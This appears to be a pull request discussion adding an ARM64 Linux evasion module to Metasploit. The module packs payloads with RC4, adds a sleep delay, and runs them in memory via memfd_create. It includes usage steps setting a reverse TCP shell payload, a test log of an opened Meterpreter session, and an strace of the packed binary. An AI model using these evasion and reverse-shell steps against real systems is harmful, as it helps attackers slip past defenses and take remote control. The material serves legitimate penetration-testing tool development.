adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine

[litemars]

Description

This PR introduces an ARM64 (AArch64) Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

What’s included

• ARM64 RC4 packer (Evasion Linux Module)
• ARM64 sleep evasion prepend (Mixin)
• ARM64 RC4 decryption stub (Mixin)

How to use it - BASIC

• use evasion/linux/arm64_rc4_packer
• set payload linux/aarch64/shell_reverse_tcp
• set LHOST x.x.x.x
• run

Optional:

• set SLEEP_TIME x

[dledda-r7]

@litemars We should include somewhere in the description that this evasion module works only with Linux targets with kernel >= 3.17 (considering mainline kernel) or in general kernel with memfd_create syscall support.

[dledda-r7]

Looks good to me! awesome work 🎉

msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (989676 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:47792) at 2026-02-25 09:40:18 -0500

msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 2

[*] 127.0.0.1 - Meterpreter session 2 closed.  Reason: User exit
msf payload(linux/aarch64/meterpreter/reverse_tcp) > 

┌──(kali㉿kali)-[~/Public]
└─$ qemu-aarch64 -strace payload.aarch64.rc4.elf
527505 nanosleep(140470822891024,0,0,0,0,0) = 0
527505 mmap(NULL,538,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00007fc1f32b4000
527505 memfd_create(140470822891040,1,538,140470822890784,26,245) = 3
527505 write(3,0xf32b40be,348) = 348
527505 execve("/proc/self/fd///////////////3",{)                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ 

[dledda-r7]

Release Notes

Adds a new Linux evasion module for arm64, a packer using rc4 encryption, in memory execution of the elf binary, and sleep evasion.